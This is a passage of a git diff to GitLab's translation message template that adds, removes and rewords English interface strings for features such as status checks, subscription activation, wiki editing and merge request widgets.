@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/fil_PH/gitlab.po b/locale/fil_PH/gitlab.po
index c3f88567a7a..7fc32cdf46c 100644
--- a/locale/fil_PH/gitlab.po
+++ b/locale/fil_PH/gitlab.po
